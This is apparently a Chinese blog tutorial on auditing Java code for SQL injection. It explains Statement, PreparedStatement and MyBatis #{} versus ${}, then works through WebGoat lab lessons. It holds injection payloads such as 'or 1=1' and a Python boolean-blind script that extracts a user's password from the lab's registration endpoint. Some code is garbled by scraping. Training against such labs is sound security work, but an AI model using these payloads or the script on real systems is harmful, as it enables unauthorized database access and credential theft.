目录
(一)前置知识
0x01 执行 SQL 语句的几种方式
1.Statement 执行 SQL 语句
2、PreparedStatement 执行 SQL 语句
3.MyBatis 执行 SQL 语句
注意:MyBatis 中#{}和${}的区别
总结
(二)SQL Lesson 9
(三) SQL Lesson 10
(四)SQL Lesson (adv) 5
payload
参考资料
(一)前置知识
0x01 执行 SQL 语句的几种方式 在 Java 中执行 SQL 语句一般有以下几种方式:
使用 JDBC 的 java.sql.Statement 执行 SQL 语句。 使用 JDBC 的 java.sql.PreparedStatement 执行 SQL 语句。 使用 Hibernate 执行 SQL 语句。 使用 MyBatis 执行 SQL 语句。 1 . Statement 执行 SQL 语句 java.sql.Statement 是 Java JDBC 下执行 SQL 语句的一种原生方式,执行语句时需要通过拼接来执行。若拼接的语句没有经过过滤,将出现 SQL 注入漏洞。
//注册驱动 Class.forName("oracle.jdbc.driver.OracleDriver"); //获取连接 Connection cOnn= DriverManager.getConnection(DBURL, DBUser, DBPassWord); //创建 Statement 对象 Statement state = conn.createStatement(); //执行 SQL String sql = "SELECT * FROM user WHERE id = '" + id + "'"; state. executeQuery(sql);
2、PreparedStatement 执行 SQL 语句 PreparedStatement 是继承 statement 的子接口,包含已编译的 SQL 语句。
PreparedStatement 会预处理 SQL 语句, SQL 语句可具有一个或多个 IN 参数。 IN 参数的值
在 SQL 语句创建时未被指定,而是为每个 IN 参数保留一个问号(?)作为占位符 。每个
问号的值,必须在该语句执行之前通过适当的 setXXX 方法来提供。如果是 int 型则用
setInt 方法,如果是 string 型则用 setString 方法。
PreparedStatement 预编译的特性使得其执行 SQL 语句要比 Statement 快, SQL 语句会编译在数据库系统中,执行计划会被缓存起来,速度会加快很多。PreparedStatement 预编译还有另一个优势,可以有效地防止 SQL 注入攻击,其相当于Statement 的升级版。
使用方式如下:
//注册驱动 Class.forName("oracle.jdbc.driver.OracleDriver"); //获取连接 Connection cOnn=DriverManager.getConnection(DBURL, DBUser, DBPassWord); //实例化 PreparedStatement 对象 String sql = "SELECT * FROM user WHERE id = ?"; PreparedStatement preparedStatement = connection.prepareStatement(sql); //设置占位符为 id 变量 preparedStatement.setInt(1,id); //执行 SQL 语句 ResultSet resultSet = preparedStatement.executeQuery();
3.MyBatis 执行 SQL 语句 Java代码审计前置知识——MyBatis_jinyouxin的博客-CSDN博客
MyBatis 是一个 Java 持久化框架,它通过 XML 描述符或注解把对象与存储过程或 SQL 语句关联起来,它支持自定义 SQL 、存储过程以及高级映射。 MyBatis 封装了几乎所有的 JDBC 代码,可以完成设置参数和获取结果集的工作。
MyBatis 可以通过简单的 XML 或注解将原始类型、接口和 Java POJO ( Plain Old Java Objects,普通老式 Java 对象)配置并映射为数据库中的记录。要使用 MyBatis ,只需将 mybatis-x.x.x.jar 文件置于类路径( classpath )中即可。
( 1 ) MyBatis 注解存储 SQL 语句
package org.mybatis.example; public interface BlogMapper { @Select("select * from Blog where id = #{id}") Blog selectBlog(int id); }
(2) MyBatis 映射存储 SQL 语句
mapper.dtd"> select * from Blog where id = #{id}
(3)定义主体测试代码文件 mybaitstest.java
public class mybaitstest { SqlSessionFactory sessiOnFactory= null; SqlSession sqlSession = null; { String resource = "com/mybatis/mybatisConfig.xml"; // 加载 mybatis 的配置文件(它也加载关联的映射文件)Reader reader = null; try { reader = Resources.getResourceAsReader(resource); } catch (IOException e) { e.printStackTrace(); } // 构建 sqlSession 的工厂sessiOnFactory= new SqlSessionFactoryBuilder().build(reader); // 创建能执行映射文件中 SQL 的 sqlSession,默认为手动提交事务,如果使用自动提交, 则加上参数 true sqlSession = sessionFactory.openSession(true); } public void testSelectUser() { String statement = "com.mybatis.userMapper" + ".getUser"; User user = sqlSession.selectOne(statement, "2"); System.out.println(user); } public static void main(String[] args) throws IOException { new mybaitstest().testSelectUser(); } }
(4)定义 SQL 映射文件 userMapper.xml
mapper.dtd"> select * from users where id=#{id}
(5)定义 MyBatista 的 mybatisConfig.xml 配置文件
mybatis-3-config.dtd">
在测试代码 mybaitstest.java 中通过“ String statement = "com.mybatis.userMapper" +
".getUser" ” 调用了“ com.mybatis.sql.User ” ,在 userMapper.xml 映射文件中执行的是
“ select * from users where id = #{id} ”,通过测试代码“ User user = sqlSession.selectOne
(statement, "2") ”将 id 的值设置为 2 ,运行完成后输出 id 为 2 的数据信息,如图 2-4所示:
图 2-4 输出 id 为 2 的数据信息
注意: MyBatis 中 #{} 和 ${} 的区别 #{} 在底层实现上使用“?”作为占位符来生成 PreparedStatement ,也是参数化查询预编译的机制,这样既快又安全。 ${} 将传入的数据直接显示生成在 SQL 语句中,类似于字符串拼接,可能会出现 SQL注入的风险。 like、order by和in
在 MyBatis 中 #{} 是进行参数化查询 的,如果在 MyBatis 的 order by子句中使用#{} , order by 子句会失效; like 子句中使用#{}程序会报错,例如:“select * from users where name like '%#{user}%'”;为了避免报错只能使用${},例如:“select * from users where name like '%${user}%'”;但${}可能会存在 SQL 注入漏洞,要避免 SQL 注入漏洞就要 进行过滤。 MyBatis 框架的 in 子句中使用 #{} 与 ${} ,参数类似于“ 'user1','user2','user3','user4' ”,多个参数时结果也会有不同。在 MyBatis 的 in 子句中使用 #{} 会将多个参数当作一个整体 。
select * from users where name in (#{user})
MyBatis 的 in 子句中使用 #{} 参数化查询,会将“ select * from users where name in (#{user})”转变为“ select * from users where name like (''user1','user2','user3','user4'') ”,这样 把“'user1','user2','user3','user4' ” 当作一个整体,偏离了原来的程序设计逻辑,无法查到数据,如图 2-20 所示。
图 2-20 偏离原来的程序设计逻辑
为了避免这个问题,只能使用${}, 但是${}使用的是字符串拼接的方式很有可能会存在 SQL 注入漏洞。
总结 Statement createStatement PrepareStatement like '%${ in (${ select update insert
前面都是sql注入的介绍,我们直接来看到lesson9,首先请求一下看一下前端请求后端的接口地址.
全局进行一个搜索,我们首先来看PostMapping那一个代码
可以看到直接进行了SQL语句的拼接
我们来打个断点分析一下,可以看到我们输入的内容没有经过任何过滤就直接拼接来进去
然后我们再跟进一下injectableQuery,其实就是下面一个方法,可以看到我们传入的参数给了accountName,我们再来打一下断点看看一下accountName的数值是什么?
可以看到我们传入的数据直接可以通过引号闭合sql语句的引号
SELECT * FROM user_data WHERE first_name = 'John' and last_name = ' + 'Smith or 1='1 + '
然后就可以看到我们所有的数据都回显出来了
(三) SQL Lesson 10 同样的发送请求来定位我们后端的接口
然后在代码中进行一个定位 ,定位到如下的片段
我把代码下载到IDEA里面了,靶场在docker里面部署的,爆红不影响正常的代码分析。
可以看到Login_Count 后面是 ? 这个一看就发现是对数据进行了一个预编,然后后面的代码会将Login_Count转换成数字类型如果没有出错才会进行后续的操作,然后再进行sql语句的执行。
所以这里的注入点是后面的accountname,直接进行了一个拼接,所以我们只需要如下payload即可. 1 or 1=1
后面几关产生原理是相同的,注入类型不同。
(四)SQL Lesson (adv) 5
测试一下登录发现请求是发往/WebGoat/SqlInjectionAdvanced/challenge_Login,来search
可以看到我们的SQL语句中userid和password都进行了预编译, 但是还有一个注册功能,我们去看看注册功能,发现在注册的时候进行了参数拼接,直接将username_reg带入到了sql
所以我们来看一下我们的SQL注入语句,我们的SQL语句是如下这样的,我们可以通过 \' 闭合前面的符号:
"select userid from sql_challenge_users where userid = '" + username_reg + "'"
例如 :
下面是闭合情况,那么我们如果根据回显信息来获取我们需要的tom的密码呢? select userid from sql_challenge_users where userid =' + tom' and '1'='1 +'
我们可以采用类似布尔盲注的思路,前提得知已有 tom这个账号
tom' and '1'='2
真 and 假 这样结果就是为假这样的话数据库查询就无法查找出信息,就会执行else语句显示user.created
tom' and '1'='1
真 and 真 这样结果就是为真数据库就会查询出结果,执行if语句回显user.exists
文字有可能不是很清楚我们来看例子:
我们来打一下断点分析一下
我们先来尝试假的 用户名为 tom' and '1'='2
可以看到直接来到了else这里
回显结果如下
接下来尝试tom' and '1'='1 也就是真的情况 执行了if语句
同时返回信息
前端有回显
payload import requests import stringCOOKIEs = {} COOKIEs["JSESSIONID"]="ynf4xx_jMxXI87sBDW2VRtRvZJhdV9tsQXE6kNEF" enums = string.ascii_lowercase + string.digits + "." + "_" + "," i = 1 while True:flag = 0for value in enums:sql_value = "tom\' and substring(password,{},1)=\'{}".format(i,value)url = "http://localhost:8081/WebGoat/SqlInjectionAdvanced/challenge"put_data = {"username_reg":sql_value,"email_reg":"123@123","password_reg":"test","confirm_password_reg":"test"}req = requests.put(url,data=put_data,COOKIEs=COOKIEs)text = req.textif "already exists" in text:print(value,end='')i+=1flag = 1if flag == 0:break
参考资料 JAVA代码审计之WebGoat靶场SQL注入_Tr0e的博客-CSDN博客